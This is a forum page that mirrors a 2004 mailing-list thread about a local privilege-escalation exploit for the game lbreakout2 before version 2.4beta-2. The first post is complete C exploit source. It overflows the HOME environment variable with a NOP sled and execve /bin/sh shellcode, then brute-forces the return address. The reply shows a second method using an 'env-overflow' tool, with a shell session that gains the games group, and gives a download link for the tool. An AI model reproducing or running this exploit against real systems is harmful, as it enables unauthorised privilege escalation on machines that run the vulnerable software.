Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    lbreakout2 < 2.4beta-2 local exploit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    lbreakout2 < 2.4beta-2 local exploit



    /*
    * lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr
    * vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>
    * usage: ./lbreakout2-exp [-r <RET>][-b [-s <STARTING_RET>]]
    *
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/wait.h>
    #include <sys/types.h>
    #include <errno.h>

    #define BSIZE 200
    #define D_START 0xbfffffff
    #define PATH "/usr/local/bin/lbreakout2"

    void exec_vuln();
    int tease();
    int make_string(long ret_addr);
    int bruteforce(long start);
    void banner(char *argv);

    char shellcode[]=
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
    "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

    char *buffer,*ptr;

    int
    main(int argc,char *argv[])
    {
    char * option_list = "br:s:";
    int option,brute = 0,opterr = 0;
    long ret,start = D_START;

    if (argc < 2) banner(argv[0]);

    while((option = getopt(argc,argv,option_list)) != -1)
    switch(option)
    {
    case 'b':
    brute = 1;
    break;
    case 'r':
    ret = strtoul(optarg,NULL,0);
    make_string(ret);
    tease();
    exit(1);
    break;
    case 's':
    start = strtoul(optarg,NULL,0);
    break;
    case '?':
    fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
    banner(argv[0]);
    exit(1);
    }

    if(brute)
    bruteforce(start);

    return 0;
    }

    void
    exec_vuln()
    {
    execl(PATH,PATH,NULL);
    }

    int
    tease()
    {
    pid_t pid;
    pid_t wpid;
    int status;

    pid = fork();

    if (pid == -1)
    {
    fprintf(stderr, "[-] %s: Failed to fork()\n",strerror(errno));
    exit(13);
    }
    else if (pid == 0)
    {
    exec_vuln();
    }
    else
    {
    wpid = wait(&status);
    if (wpid == -1)
    {
    fprintf(stderr,"[-] %s: wait()\n",strerror(errno));
    return 1;
    }
    else if (wpid != pid)
    abort();
    else
    {
    if (WIFEXITED(status))
    {
    fprintf(stdout,"[+] Exited: shell's ret code = %d\n",WEXITSTATUS(status));
    return WEXITSTATUS(status);
    }
    else if (WIFSIGNALED(status))
    return WTERMSIG(status);
    else
    fprintf(stderr,"[-] Stopped.\n");
    }
    }
    return 1;
    }

    int
    make_string(long ret_addr)
    {
    int i;
    long ret,addr,*addr_ptr;

    buffer = (char *)malloc(1024);
    if(!buffer)
    {
    fprintf(stderr,"[-] Can't allocate memory\n");
    exit(-1);
    }

    ret = ret_addr;

    ptr = buffer;

    memset(ptr,0x90,BSIZE-strlen(shellcode));
    ptr += BSIZE-strlen(shellcode);

    memcpy(ptr,shellcode,strlen(shellcode));
    ptr += strlen(shellcode);

    addr_ptr = (long *)ptr;
    for(i=0;i<200;i++)
    *(addr_ptr++) = ret;
    ptr = (char *)addr_ptr;
    *ptr = 0;

    setenv("HOME",buffer,1);
    return 0;
    }

    int
    bruteforce(long start)
    {
    int ret;
    long i;

    fprintf(stdout,"[+] Starting bruteforcing...\n");

    for(i=start;i<0;i=i-50)
    {
    fprintf(stdout,"[+] Testing 0x%x...\n",i);
    make_string(i);
    ret=tease();
    if(ret==0)
    {
    fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
    break;
    }
    }

    return 0;
    }

    void
    banner(char *argv)
    {
    fprintf(stderr,"lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr\n");
    fprintf(stderr,"vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>\n");
    fprintf(stderr,"usage: %s [-r <RET>][-b [-s <STARTING_RET>]]\n",argv);
    exit(1);
    }




  2. #2
    Steve Kemp
    lbreakout2 &lt; 2.4beta-2 local exploit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: lbreakout2 < 2.4beta-2 local exploit

    On Sun, Feb 22, 2004 at 01:45:45PM -0000, Li0n7@voila.fr wrote:

    > /*
    > * lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr
    > * vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>
    > * usage: ./lbreakout2-exp [-r <RET>][-b [-s <STARTING_RET>]]
    > *
    > */


    I much prefer mine

    Using the `env-overflow` tool this may be exploited without
    the need for a valid X11 display - ie. ssh/telnet access
    sufficient - or any explicit coding:

    skx@uml:~$ ./env-overflow /usr/games/lbreakout2 1084 HOME
    ... snip ...
    sh-2.05a$
    sh-2.05a$ id
    uid=1000(skx) gid=100(users) egid=60(games) groups=100(users)

    Where env-overflow lives here:

    http://www.steve.org.uk/Hacks/generic.html

    Steve
    --
    # Debian Security Audit Project
    http://www.shellcode.org/Audit/



Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics